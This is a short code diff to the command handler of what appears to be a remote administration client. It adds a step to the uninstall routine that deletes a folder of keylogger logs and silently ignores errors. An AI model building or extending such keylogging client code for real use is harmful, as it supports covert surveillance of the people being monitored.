diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 8a6154bb..6cccdf80 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -204,6 +204,18 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie } } + string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; + if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger + { + try + { + Directory.Delete(logsDirectory, true); + } + catch + { + } + } + try { string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),